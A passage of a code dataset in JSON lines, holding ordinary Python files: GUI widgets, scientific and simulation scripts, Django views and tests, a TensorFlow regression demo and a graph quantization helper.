'double'\n if isinstance(type_symbol, NESTTimeTypeSymbol):\n return 'nest::Time'\n if isinstance(type_symbol, ErrorTypeSymbol):\n return 'ERROR'\n raise Exception('Unknown NEST type')","sub_path":"pycfiles/NESTML-3.1-py3.5/pynestml_2_nest_type_converter.cpython-35.py","file_name":"pynestml_2_nest_type_converter.cpython-35.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"522257870","text":"#------------------------------------------------------------------------------\n# Copyright (c) 2011, Enthought, Inc.\n# All rights reserved.\n#------------------------------------------------------------------------------\nimport wx\n\nfrom .wx_window import WXWindow\n\nfrom ...components.dialog import AbstractTkDialog\n\n\nDIALOG_RETCODE_MAP = {\n wx.ID_OK: 'accepted',\n wx.ID_CANCEL: 'rejected'\n}\n\n\nclass WXDialogSizer(wx.PySizer):\n \"\"\" A custom wx Sizer for use in the WXDialog. This sizers expands\n its child to fit the allowable space, regardless of the settings on\n the child settings. This is similar to how central widgets behave \n in a WXWindow. \n\n There can only be one widget in this sizer at a time and it should\n be added via the .Add(...) method. Old items will be removed \n automatically (but not destroyed).\n\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(WXDialogSizer, self).__init__(*args, **kwargs)\n self._widget = None\n\n def Add(self, widget):\n \"\"\" Adds the given widget to the sizer, removing the old widget\n if present. The old widget is not destroyed.\n\n \"\"\"\n self.Clear(deleteWindows=False)\n self._widget = widget\n return super(WXDialogSizer, self).Add(widget)\n\n def CalcMin(self):\n \"\"\" Returns the minimum size for the children this sizer is \n managing. Since the size of the Dialog is managed externally,\n this always returns (-1, -1).\n\n \"\"\"\n return (-1, -1)\n \n def RecalcSizes(self):\n \"\"\" Resizes the child to fit the available space of the scroll\n area.\n\n \"\"\"\n widget = self._widget\n if widget:\n widget.SetSize(self.GetSize())\n\n\nclass WXDialog(WXWindow, AbstractTkDialog):\n \"\"\" A wxPython implementation of a Dialog.\n\n WXDialog uses a wx.Dialog to create a simple top-level dialog.\n\n \"\"\"\n #---------------------------------------------------------------------------\n # Setup methods\n #---------------------------------------------------------------------------\n def create(self, parent):\n \"\"\" Creates the underlying wx.Dialog control.\n\n \"\"\"\n style = wx.DEFAULT_DIALOG_STYLE | wx.RESIZE_BORDER\n self.widget = wx.Dialog(parent, style=style)\n self.widget.SetSizer(WXDialogSizer())\n\n #--------------------------------------------------------------------------\n # Implementation\n #--------------------------------------------------------------------------\n def accept(self):\n \"\"\" Close the dialog and set the result to 'accepted'.\n\n \"\"\"\n self.widget.EndModal(wx.ID_OK)\n\n def reject(self):\n \"\"\" Close the dialog and set the result to 'rejected'.\n\n \"\"\"\n self.widget.EndModal(wx.ID_CANCEL)\n\n #--------------------------------------------------------------------------\n # Widget Update Methods\n #--------------------------------------------------------------------------\n def set_central_widget(self, central_widget):\n \"\"\" Sets the central widget in the window with the given value.\n\n \"\"\"\n # It's possible for the central widget component to be None.\n # This must be allowed since the central widget may be generated\n # by an Include component, in which case it will not exist \n # during initialization. However, we must have a central widget\n # for the Dialog, and so we just fill it with a dummy widget.\n central_widget = self.shell_obj.central_widget\n if central_widget is None:\n child_widget = wx.Panel(self.widget)\n else:\n child_widget = central_widget.toolkit_widget\n self.widget.GetSizer().Add(child_widget)\n\n #--------------------------------------------------------------------------\n # Overrides\n #--------------------------------------------------------------------------\n def set_visible(self, visible):\n \"\"\" Overridden from the parent class to properly launch and close \n the dialog.\n\n \"\"\"\n widget = self.widget\n shell = self.shell_obj\n if visible:\n shell._active = True\n shell.opened()\n # wx cannot distinguish between app modal and \n # window modal, so we only get one kind.\n retcode = widget.ShowModal()\n else:\n retcode = wx.ID_CANCEL\n self._handle_retcode(retcode)\n \n #--------------------------------------------------------------------------\n # Auxiliary Methods \n #--------------------------------------------------------------------------\n def _handle_retcode(self, retcode):\n \"\"\" Destroys the dialog, fires events, and set status attributes.\n\n \"\"\"\n shell = self.shell_obj\n result = DIALOG_RETCODE_MAP[retcode]\n shell._result = result\n shell._active = False\n shell.closed(result)\n # Explicitly Destroy the dialog or the wxApp won't properly exit.\n # We can't simply destroy the shell object since the user may\n # still need something from it.\n widget = self.widget\n if widget:\n widget.Destroy() \n\n","sub_path":"enaml/backends/wx/wx_dialog.py","file_name":"wx_dialog.py","file_ext":"py","file_size_in_byte":5191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"456372720","text":"import numpy as np\n\ndef main():\n \"\"\"\n X = np.array([[1.0, 2.0], [7.0, 2.0]])\n b = np.array([2.0, 2.0])\n X = np.vstack([X, b])\n inv = np.linalg.inv(X)\n trans = np.transpose(X)\n product = X @ trans\n print(inv)\n \"\"\"\n a = np.array([2,5,4,6,5,5,3,3,3])\n a = np.sort(a)\n unique, count = np.unique(a,return_counts=True)\n answer= unique[np.argmax(count)]\n print()\n\nif __name__ == '__main__':\n main()","sub_path":"matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"339654041","text":"\nimport socket # 导入 socket 模块\nimport time\ns = socket.socket() # 创建 socket 对象\ns.connect(('127.0.0.1', 8712))\nprint(s.recv(1024).decode(encoding='utf8'))\nwhile True:\n s.send(\"我是901\".encode('utf8'))\n time.sleep(10)\n# print(s.recv(1024).decode(encoding='utf8'))\n","sub_path":"test/client1.py","file_name":"client1.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"41042700","text":"import simpy\nimport random\nimport numpy\nimport matplotlib.pyplot as plt\n\ndef proceso(nombre,env,tiempo,espacio,RAM):\n global totalT \n global tiempos\n global desviacion\n\n #Se crea el proceso\n yield env.timeout(tiempo)\n #Tiempo que le toma al proceso llegar\n tiempoInicial = env.now\n #Se establece la memoria que se utilizara y la cantidad de instrucciones\n memoria = random.randint(1,10)\n instrucciones = random.randint(1, 10)\n print ('%s proceso inicia en tiempo %f necesita %d de memoria y tiene %e instrucciones' % (nombre,tiempoInicial,memoria, instrucciones))\n\n #Se define ir a la cola\n with RAM.get(instrucciones) as turno:\n print(nombre, \"tiemp: \", env.now)\n yield turno\n #Si tiene mas de dos instrucciones\n while instrucciones>5:\n with espacio.request() as simular:\n yield simular\n instrucciones = instrucciones-6\n yield env.timeout(1)\n print(nombre, \"tiempo: \", env.now)\n io = random.randint(1,2)\n if(io == 2):\n yield env.timeout(1)\n #Si se tienen menos de tres \n if instrucciones<6:\n yield env.timeout(1)\n RAM.put(memoria)\n\n #Espacio a usar del cpu\n with espacio.request() as turno:\n yield turno \n yield env.timeout(instrucciones)\n print ('%s proceso termina a las %f' % (nombre, env.now))\n TOTAL = env.now - tiempoInicial\n tiempos.append(TOTAL)\n print ('%s se tardo %f' % (nombre, TOTAL))\n totalT = totalT + TOTAL\n\n\ndesviacion1=list()\npromedios1=list()\ndesviacion2=list()\npromedios2=list()\ndesviacion3=list()\npromedios3=list()\nCantidadProcesos=[25,50,100,150,200]\nintervalos=[10,5,1]\nprint(\"Con intervalos de 10\")\nfor k in CantidadProcesos:\n env = simpy.Environment() #ambiente de simulación\n espacio = simpy.Resource(env,capacity = 1)#Cantidad de CPU\n RAM = simpy.Container(env,capacity= 100, init=100) #Cantidad de RAM\n random.seed(10) # fijar el inicio de random\n tiempos = list()\n totalT = 0\n procesos=k\n for i in range(k): #numero de procesos \n env.process(proceso('proceso %d'%i,env,random.expovariate(1.0/10),espacio,RAM))\n\n env.run() #correr la simulación en tiempo infinito\n promedios1.append(totalT/k)\n desviacion1.append(numpy.std(tiempos))\n print (\"tiempo promedio para\", k ,\"procesos es: \", totalT/k)\nprint(\"Los promedios son: \",promedios1)\nprint(\"Las desviaciones estandar son: \",desviacion1)\n\nprint(\"Con intervalos de 5\")\nfor k in CantidadProcesos:\n env = simpy.Environment() #ambiente de simulación\n espacio = simpy.Resource(env,capacity = 1)#Cantidad de CPU\n RAM = simpy.Container(env,capacity= 100, init=100) #Cantidad de RAM\n random.seed(10) # fijar el inicio de random\n tiempos = list()\n totalT = 0\n procesos=k\n for i in range(k): #numero de procesos \n env.process(proceso('proceso %d'%i,env,random.expovariate(1.0/5),espacio,RAM))\n\n env.run() #correr la simulación en tiempo infinito\n promedios2.append(totalT/k)\n desviacion2.append(numpy.std(tiempos))\n print (\"tiempo promedio para\", k ,\"procesos es: \", totalT/k)\nprint(\"Los promedios son: \",promedios2)\nprint(\"Las desviaciones estandar son: \",desviacion2)\n\nprint(\"Con intervalos de 1\")\nfor k in CantidadProcesos:\n env = simpy.Environment() #ambiente de simulación\n espacio = simpy.Resource(env,capacity = 1)#Cantidad de CPU\n RAM = simpy.Container(env,capacity= 100, init=100) #Cantidad de RAM\n random.seed(10) # fijar el inicio de random\n tiempos = list()\n totalT = 0\n procesos=k\n for i in range(k): #numero de procesos \n env.process(proceso('proceso %d'%i,env,random.expovariate(1.0),espacio,RAM))\n\n env.run() #correr la simulación en tiempo infinito\n promedios3.append(totalT/k)\n desviacion3.append(numpy.std(tiempos))\n print (\"tiempo promedio para\", k ,\"procesos es: \", totalT/k)\nprint(\"Los promedios son: \",promedios1)\nprint(\"Las desviaciones estandar son: \",desviacion1)\nplt.plot(CantidadProcesos,promedios1,\"ro\",color=\"green\")\nplt.plot(CantidadProcesos,promedios2,\"ro\",color=\"red\")\nplt.plot(CantidadProcesos,promedios3,\"ro\",color=\"blue\")\nplt.title(\"Promedios por cantidad de procesos\")\nplt.xlabel(\"Cantidad de procesos\")\nplt.ylabel(\"Promedio\")\nplt.legend((\"Promedios con invervalos de 10\",\"Promedios con invervalos de 5\",\"Promedios con invervalos de 1\"),loc=\"upper left\")\nplt.show()","sub_path":"HT5Cii.py","file_name":"HT5Cii.py","file_ext":"py","file_size_in_byte":4469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"446680647","text":"\r\n\r\nclass Coord:\r\n \"défition des coordonnées dans R3\"\r\n def __init__(self,x,y,z,genre): #méthode spéciale de construction\r\n self.x = x\r\n self.y = y\r\n self.z = z\r\n self.genre = genre\r\n\r\n def affiche(self):#méthode d'affichage d'une instance de la classe Coord\r\n return (self.x,self.y,self.z,self.genre) # remplacer return par print\r\n\r\n def __sub__(self,other): # définition de la soustraction de deux points\r\n if self.genre == \"point\" and other.genre == \"point\":\r\n return Coord(self.x-other.x,self.y-other.y,self.z-other.z,genre=\"vecteur\")\r\n\r\n def produit_vectoriel(self,other):\r\n x = self.y*other.z-self.z*other.y\r\n y = self.z*other.x-self.x*other.z\r\n z = self.x*other.y-self.y*other.x\r\n return Coord(x,y,z,genre=\"vecteur\")\r\n\r\n #definition de la methode pour les vecteurs colinéaires\r\n def colinéarité (self,other):\r\n vect=self.produit_vectoriel(other)\r\n return (vect.x==0) and (vect.y==0) and (vect.z==0)\r\n\r\n\r\n #definition de la methode pour les vecteurs alignés\r\n def pts_alignés(self,other1,other2):\r\n v1=other1-self\r\n v2=other2-self\r\n return v1.colinéarité(v2)\r\n \r\n #definition d'un plan par un point et un vecteur normal\r\n def plan(self,other):\r\n if self.genre==\"point\" and other.genre==\"vecteur\" :\r\n a=other.x\r\n b=other.y\r\n c=other.z\r\n d=self.x*other.x+self.y*other.y+self.z*other.z\r\n p1={\"x\":a,\"y\":b,\"z\":c, \"constante\":d}\r\n return p1\r\n #définition d'un plan par un point et deux vecteurs colinéaires\r\n def plan2 (self, other1, other2):\r\n if self.genre==\"point\" and other1.genre==\"vecteur\" and other2.genre==\"vecteur\" and not (other1.colinéarité(other2)):\r\n n=other1.produit_vectoriel(other2)\r\n return self.plan(n)\r\n def plan3(self, other1, other2):\r\n if self.genre==\"point\" and other1.genre==\"point\" and other2.genre==\"point\" and not (self.pts_alignés(other1,other2)):\r\n v1=other1-self\r\n v2=other2-self\r\n return self.plan2(v1,v2)\r\n\r\ndef affiche_equation(P1):\r\n a=P1['x']\r\n b=P1['y']\r\n c=P1['z']\r\n d=P1['constante']\r\n\r\n\r\n\r\n\r\n\r\ndef coli(u,v):\r\n vect=u.produit_vectoriel(v)\r\n return (vect.x==0) and (vect.y==0) and (vect.z==0) \r\n\r\n\r\nA = Coord(1,2,-3,'point')\r\nB = Coord(-2,2,0,\"point\")\r\nC = Coord(1,-2,4,\"point\")\r\n\r\nAB = B - A\r\nAC = C - A\r\n\r\nu = AB.produit_vectoriel(AC)\r\n\r\n \r\n","sub_path":"Python/P2/TP08.py","file_name":"TP08.py","file_ext":"py","file_size_in_byte":2714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"507137566","text":"import os\nimport cv2\n\ndata_dir = \"/home/lichen/deepfashion/dataset/categary/2/\"\n\nfor img_list in os.listdir(data_dir):\n img_list = data_dir + img_list\n for img in os.listdir(img_list):\n image_dir = img_list +\"/\" + img\n image = cv2.imread(image_dir, cv2.IMREAD_GRAYSCALE)\n image = cv2.resize(image, (160, 160), interpolation=cv2.INTER_CUBIC)\n cv2.imwrite(image_dir,image) \n print(img)\n","sub_path":"tools/categary/data_resize.py","file_name":"data_resize.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"104025220","text":"import sys, warnings\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mcmc import mcmc, model\n\nwarnings.filterwarnings(\"ignore\")\n\nplt.rc('text', usetex=True, fontsize=24)\n\ndef radius(data):\n E_pot = data[:,6]\n min_pot = np.argmin(E_pot)\n #print \"min_pot\", min_pot\n x = data[:,0] - data[min_pot, 0]\n y = data[:,1] - data[min_pot, 1]\n z = data[:,2] - data[min_pot, 2]\n r = np.sqrt(x**2 + y**2 +z**2)\n r = np.sort(r)\n return r[1:]\n\nif (len(sys.argv) != 2):\n sys.exit('Usage: python fit.py n_bodies')\n\n#data\n\nn_bodies = int(sys.argv[1])\n\ndata_final = np.loadtxt('./state_final_{}.dat'.format(n_bodies))\n\n#x\nr_final = radius(data_final)\nlog_r_final = np.log10(r_final)\n\nh, c = np.histogram(log_r_final, bins=10)\nlog_r_center = 0.5 * (c[1:]+c[:-1])\n\n#y\nlog_rho = np.log10(h)-2.0*log_r_center #log(rho) = log(m)-2*log(r)\n\n\n#plot data\n\nplt.figure(figsize=(12,8))\n\nplt.plot(log_r_center, log_rho, label='$\\mathrm{data}$')\n\nplt.xlabel(r'$\\log{(r)}$')\nplt.ylabel(r'$\\log{(\\rho (r))}$')\nplt.legend(loc='lower left')\n\nplt.savefig('./mcmc_plots/density_profile_data.png')\n\n\n#fit\n#$\\rho(r) = \\frac{\\rho_0}{(\\frac{r}{r_c})^\\alpha (1+\\frac{r}{r_c})^\\beta}$\n\nlog_rho_0_0 = 4\nlog_r_c_0 = -1.0\nalpha_0 = 1\nbeta_0 = 2\n\nfit_0 = model(log_r_center, log_rho_0_0, log_r_c_0, alpha_0, beta_0)\n\n\n# plot first guess\n\nplt.figure(figsize=(12,8))\n\nplt.plot(log_r_center, log_rho, label='$\\mathrm{data}$')\nplt.plot(log_r_center, fit_0, label='$\\mathrm{first\\;guess}$')\n\nplt.xlabel(r'$\\log{(r)}$')\nplt.ylabel(r'$\\log{(\\rho (r))}$')\nplt.legend(loc='lower left')\n\nplt.savefig('./mcmc_plots/density_profile_firstguess.png')\n\n\n#fit\n\nlog_rho_0, log_r_c, alpha, beta, log_rho_0_std, log_r_c_std, alpha_std, beta_std = mcmc(log_r_center, log_rho)\n\nfit = model(log_r_center, log_rho_0, log_r_c, alpha, beta)\n\n\n#plot fit\n\nplt.figure(figsize=(12,8))\n\nplt.plot(log_r_center, log_rho, label='$\\mathrm{data}$')\nplt.plot(log_r_center, fit, label='$\\mathrm{fit}$')\n\nplt.xlabel(r'$\\log{(r)}$')\nplt.ylabel(r'$\\log{(\\rho (r))}$')\nplt.legend(loc='lower left')\n\nplt.savefig('./mcmc_plots/density_profile_fit.png')\n\n\n#best values\n\nprint('log(rho_0) = {} +/- {}'.format(log_rho_0, log_rho_0_std))\nprint('log(r_c) = {} +/- {}'.format(log_r_c, log_r_c_std))\nprint('alpha = {} +/- {}'.format(alpha, alpha_std))\nprint('beta = {} +/- {}'.format(beta, beta_std))\n","sub_path":"fit.py","file_name":"fit.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"571918633","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nDBF readonly file component specification module.\n\"\"\"\n\nfrom ...object import object_spc\nfrom ...editor import property_editor_id\n\n__version__ = (0, 0, 0, 1)\n\nCOMPONENT_TYPE = 'iqDBFReadOnlyFile'\n\n\nDBFREADONLYFILE_SPC = {\n 'name': 'default',\n 'type': COMPONENT_TYPE,\n 'description': '',\n 'activate': True,\n\n '_children_': [],\n\n 'dbf_filename': None,\n\n '__package__': u'Data',\n '__icon__': 'fatcow/database_table',\n '__parent__': object_spc.OBJECT_SPC,\n '__doc__': None,\n '__content__': (),\n '__edit__': {\n 'dbf_filename': property_editor_id.FILE_EDITOR,\n },\n '__help__': {\n 'dbf_filename': u'DBF filename',\n },\n}\n\nSPC = DBFREADONLYFILE_SPC\n","sub_path":"iq/components/dbf_readonly_file/spc.py","file_name":"spc.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"307022107","text":"import json\n\nfrom django.http import HttpResponse\nfrom django.views.generic import View\nfrom django.core import serializers\nfrom braces.views import PermissionRequiredMixin\n\nfrom questionnaire.models import QuestionGroup\n\n\nclass SubsectionQuestions(PermissionRequiredMixin, View):\n permission_required = 'auth.can_view_questionnaire'\n\n def get(self, request, *args, **kwargs):\n subsection_id = kwargs['subsection_id']\n question_group = QuestionGroup.objects.select_related('question').filter(subsection_id=subsection_id,\n grid=False)\n question_group_list = map(lambda qg: list(qg.question.all()), list(question_group))\n questions = []\n for qg in question_group_list:\n for q in qg:\n question_json = serializers.serialize(\"json\", [q])\n options_json = serializers.serialize(\"json\", q.options.all())\n question_dict = json.loads(question_json)[0]\n question_dict['options'] = json.loads(options_json)\n questions.append(question_dict)\n\n data = {}\n data['questions'] = questions\n\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\n","sub_path":"questionnaire/views/subsection_questions.py","file_name":"subsection_questions.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"201615755","text":"import tensorflow as tf\nimport numpy as np\nimport random\n\ndef myfunc(_x):\n w = 1.3 # 기울기\n b = 2.6 # y 절편. 점(0, 2.6)\n # x 절편은 점(-2, 0)이 됨.\n _y = w * _x + b\n noise = random.random() * 0.01\n return _y + noise\n\n# random.random() -- 0.0 ~ 1.0\nNUM_DATA = 100\nXVALUE = 3 # x값의 범위\n# type: python list\nxlist = [random.random() * XVALUE for i in range(NUM_DATA)]\nylist = [myfunc(x) for x in xlist]\nprint(xlist)\nprint(ylist)\n\n# type: numpy ndarray\nxlist = np.array(xlist)\nylist = np.array(ylist)\nprint(xlist.shape) # shape == (10,)\nprint(ylist.shape) # shape == (10,)\nxlist = xlist.reshape((NUM_DATA, 1)) # shape == (10,1)\nylist = ylist.reshape((NUM_DATA, 1)) # shape == (10,1)\nprint(xlist.shape)\nprint(ylist.shape)\n\nX = tf.placeholder(tf.float32, [None, 1], name='inputPlace')\ny = tf.placeholder(tf.float32, [None, 1])\nW = tf.Variable(tf.random_normal([1,1], -1, 1), name='weight')\nb = tf.Variable(tf.random_normal([1], -1, 1), name='bias')\nO = tf.matmul(X, W) + b\nO_ = tf.nn.sigmoid(O)\ncalc_error = tf.reduce_mean(tf.square(O - y))\n#optimizer = tf.train.GradientDescentOptimizer(learning_rate=0.1)\noptimizer = tf.train.AdamOptimizer(learning_rate=0.1)\ntraining = optimizer.minimize(calc_error)\n\nprint('X', X.name)\nsess = tf.Session()\nsess.run(tf.global_variables_initializer())\nBATCH_SIZE = int(NUM_DATA / 20) # 한번의 training에 넣는 데이터의 개수.\nfor i in range(1000):\n # random sampling from 0,1,2,...,N-1\n index_selected = random.sample(range(NUM_DATA), BATCH_SIZE)\n batch_x = [xlist[i] for i in index_selected]\n batch_y = [ylist[i] for i in index_selected]\n\n res_training, error_val = sess.run([training, calc_error],\n feed_dict={X: batch_x, y:batch_y})\n #print('RES_OPT', res_opt)\n \n if error_val < 0.00001:\n break\n if i % 10 == 0:\n see_loss = sess.run([calc_error],\n feed_dict={X: xlist, y: ylist})\n see_o, see_w, see_b = sess.run([O, W, b], feed_dict={X: xlist, y: ylist})\n print('[%03d]' % i, end=' ')\n print('LOSS', see_loss, end=' ')\n print('W', see_w, 'bias', see_b)\n","sub_path":"Academy/deepLearning/SIMPLE/nn_with_batch.py","file_name":"nn_with_batch.py","file_ext":"py","file_size_in_byte":2117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"538656861","text":"#Prime\n\n# main function\ndef main():\n\n # Local variable\n number = 0\n\n # Get number\n number = int(input('Enter an integer: '))\n\n # Display information regarding whether the number is prime\n if is_prime(number):\n print('The number you entered is a prime number.')\n else:\n print('The number you entered is not a prime number.')\n\n#The is_prime function recieves a number as an argument,\n# and returns True if number is prime, False otherwise\ndef is_prime(number):\n #Local Variables\n half = int(number / 2)\n status = True\n\n for count in range(2, half + 1):\n if number % count == 0:\n status = False\n\n return status\n\n# Call the main function\nmain()","sub_path":"prime.py","file_name":"prime.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"501910811","text":"from kivy.uix.boxlayout import BoxLayout\nfrom kivy.properties import ObjectProperty\nfrom kivy.uix.label import Label\nfrom kivy.graphics import Color, Rectangle\nimport communication\n\n##\n# @brief Bottom bar widget used to display debug messages.\n# \n# The bottom bar widget receives updates from several widgets in\n# form of a simple string that is displayed. Furthermore, the current\n# connection status is displayed in the form of a colored label.\nclass BottomBar(BoxLayout):\n\n ##\n # @brief Reference to label displaying debug messages.\n message_label = ObjectProperty(None)\n\n ##\n # @brief Reference to label displaying connection status.\n connection_label = ObjectProperty(None)\n\n def __init__(self, **kwargs):\n super(BottomBar, self).__init__(**kwargs)\n\n ##\n # @brief Update current text and display new received string.\n #\n # @param[in] instance: the object updating text.\n # @param[in] value: the new string to be shown.\n def update_text(self, instance, value):\n self.message_label.text = value\n\n ##\n # @brief Callback called upon change in connection state.\n #\n # Update connection label based on new connection state.\n #\n # @param[in] instance: the object updating the connection state.\n # @param[in] value: the new connection state.\n def connection_event(self, instance, value):\n if (value == communication.CONNECTION_STATE_FOUND):\n self.connection_label.update_color(1, 1, 0)\n self.connection_label.color = (0, 0, 0, 1)\n elif (value == communication.CONNECTION_STATE_CONNECTED):\n self.connection_label.update_color(0, 0.5, 0)\n self.connection_label.color = (1, 1, 1, 1)\n else:\n self.connection_label.update_color(0.3, 0.3, 0.3, 1.0)\n self.connection_label.color = (1, 1, 1, 1)\n \n##\n# @brief Label with colored background.\n# \n# This is a label that allows to update the background color.\nclass ColoredLabel(Label):\n\n ##\n # @brief Update background color of the label.\n #\n # @param[in] r: red color.\n # @param[in] g: green color.\n # @param[in] b: blu color.\n def update_color(self, r, g, b):\n self.canvas.before.clear()\n with self.canvas.before:\n Color(r,g,b,1)\n self.rect = Rectangle(pos=self.pos, size=self.size)\n self.bind(pos=self.update_rect,\n size=self.update_rect)\n \n ##\n # @brief Update rectangle of the label.\n #\n # This is required so that, when resizing the window, the\n # color of the label continues to fill the background.\n #\n def update_rect(self, *kwargs):\n self.rect.pos = self.pos\n self.rect.size = self.size","sub_path":"08_LIS3DH/bottom_bar.py","file_name":"bottom_bar.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"36185546","text":"from django.test import TestCase\n\nfrom modules.todo import service as todo_sv\nfrom modules.todo.models.todo import Todo\n\n\nclass TodoServiceTests(TestCase):\n\n def test_create(self):\n todo_sv.create(text='hoge', is_done=False)\n todo_list = Todo.objects.all()\n self.assertEqual(len(todo_list), 1)\n\n def test_get_all(self):\n todo_sv.create(text='hoge', is_done=False)\n todo_list = todo_sv.get_all()\n self.assertEqual(len(todo_list), 1)\n\n def test_get_by_id(self):\n todo = todo_sv.create(text='hoge', is_done=False)\n todo_id = todo_sv.get_by_id(todo.id).id\n self.assertEqual(todo.id, todo_id)\n","sub_path":"modules/todo/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"643139792","text":"# -*- coding: utf-8 -*-\n\nfrom collections import OrderedDict\nfrom collections import namedtuple\n\nfrom tensorflow.python.platform import gfile\nfrom tensorflow.core.framework import graph_pb2\nfrom tensorflow.python.framework import graph_util\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import tensor_util\nfrom tensorflow.python.client import session\nfrom tensorflow.python.ops import array_ops\n\nfrom intel_quantization.quantize_graph.quantize_graph_common import QuantizeGraphHelper as helper\n\nimport logging\nimport tensorflow as tf\nimport numpy as np\nimport os\n\n\nclass QuantizeGraphBase(object):\n \"\"\"\n This is the base class for quantize graph.\n \"\"\"\n\n def __init__(self, output_node_names):\n self.output_node_names = output_node_names\n self.transformers = OrderedDict()\n\n def register_transformer(self, node_name, entry):\n if node_name not in self.transformers:\n self.transformers[node_name] = []\n\n self.transformers[node_name].append(entry)\n\n def do_transform(self):\n \"\"\"\n This is the virtual interface need to be implemented by derived class\n :return:\n \"\"\"\n pass\n\n def remove_dead_nodes(self, input_graph, output_names):\n \"\"\"Removes nodes that are no longer needed for inference from the graph.\"\"\"\n return graph_util.extract_sub_graph(input_graph, output_names)\n\n def get_supported_fusion_node(self):\n return self.transformers.keys()\n\n\nclass QuantizeNodeBase(object):\n \"\"\"This is the base class for nodes fusion\n\n\n Arguments:\n object {[type]} -- [description]\n \"\"\"\n node_details = namedtuple('node_details', ['node', 'input_node', 'output'])\n\n def __init__(self,\n input_graph,\n output_node_names,\n per_channel,\n start_node_name,\n enable_s8=True):\n if isinstance(input_graph, graph_pb2.GraphDef):\n self.input_graph = input_graph\n else:\n self.input_graph = graph_pb2.GraphDef()\n with gfile.Open(input_graph, 'rb') as f:\n self.input_graph.ParseFromString(f.read())\n\n self._parse_graph()\n\n self.output_node_names = output_node_names\n self.output_node_maps = {}\n self.output_graph = graph_pb2.GraphDef()\n self.quantized_node_dict = {}\n self.intel_cpu_eightbitize = True\n self.per_channel = per_channel\n self.start_node_name = start_node_name\n self.enable_s8 = False if tf.__version__ < '2.1.0' else enable_s8\n\n def apply_the_transform(self):\n \"\"\"\n This is the virtual interface to be implemented by derived class\n :return:\n \"\"\"\n pass\n\n def get_longest_fuse(self):\n pass\n\n def _is_match(self, patterns):\n \"\"\"Detect the rule matched nodes collections.\n\n Returns:\n [List] -- [the matched rule]\n [String] -- [the list contains the matched node name]\n \"\"\"\n matched_node_name = []\n\n for k, v in enumerate(self.op_list):\n if v in set(fusion[0] for fusion in patterns):\n cur_node = self.node_name_mapping[list(\n self.node_name_mapping.keys())[k]].node\n if cur_node.name != self.start_node_name:\n continue\n\n if (v in (\"MatMul\") or (\n v in (\"Conv2D\", \"DepthwiseConv2dNative\") and not self.enable_s8)) and not self._find_relu_node(\n cur_node):\n continue\n\n for sub_rule in patterns:\n if v != sub_rule[0]:\n continue\n\n sub_rule_len = len(sub_rule)\n logging.debug(\"Try to apply rule: {}\".format(sub_rule))\n\n cur_node_name = list(self.node_name_mapping.keys())[k]\n matched_node_name.append(cur_node_name)\n\n while sub_rule_len > 1:\n if not self.node_name_mapping[cur_node_name].output:\n logging.debug(\"Failed to match {}\".format(sub_rule))\n break\n\n next_node_name = self.node_name_mapping[\n cur_node_name].output[0]\n\n next_node_op = self.node_name_mapping[\n next_node_name].node.op\n is_shared_output = True if len(\n self.node_name_mapping[cur_node_name].output\n ) > 1 else False\n if not is_shared_output and next_node_op == sub_rule[\n 1 - sub_rule_len]:\n matched_node_name.append(next_node_name)\n sub_rule_len -= 1\n cur_node_name = next_node_name\n else:\n matched_node_name.clear()\n logging.debug(\"Failed to match {}\".format(sub_rule))\n break\n\n if sub_rule_len == 1:\n logging.debug(\"match {} on nodes {} \".format(\n sub_rule, matched_node_name))\n return sub_rule, matched_node_name\n\n return None, None\n\n def _need_to_check(self, node_type):\n op_list = (\"ConcatV2\", \"Conv2D\", \"DepthwiseConv2D\", \"QuantizeV2\",\n \"DepthwiseConv2dNative\", \"MaxPool\", \"Requantize\", \"AvgPool\",\n \"Pad\", \"CropAndResize\", \"Dequantize\", \"Mean\")\n return any([node_type.find(i) != -1 for i in op_list])\n\n def _find_relu_node(self, node):\n if node.op in (\"Relu\", \"Relu6\") or node.op.find(\"AndRelu\") != -1:\n return True\n elif (node.op.find(\"QuantizedConv\") != -1 or\n node.op.find(\"QuantizedDepthwiseConv\") != -1\n ) and node.op.find(\"Relu\") == -1:\n return False\n elif self._need_to_check(node.op):\n input_node = self.node_name_mapping[helper.node_name_from_input(\n node.input[0])]\n return self._find_relu_node(input_node.node)\n else:\n return False\n\n def _add_output_node(self, node_name, node):\n if node_name not in self.output_node_maps:\n self.output_node_maps[node_name] = node\n else:\n raise ValueError(\"Duplicate Node Found {} {} {}\".format(\n node_name, node.op, self.output_node_maps[node_name].op))\n\n def 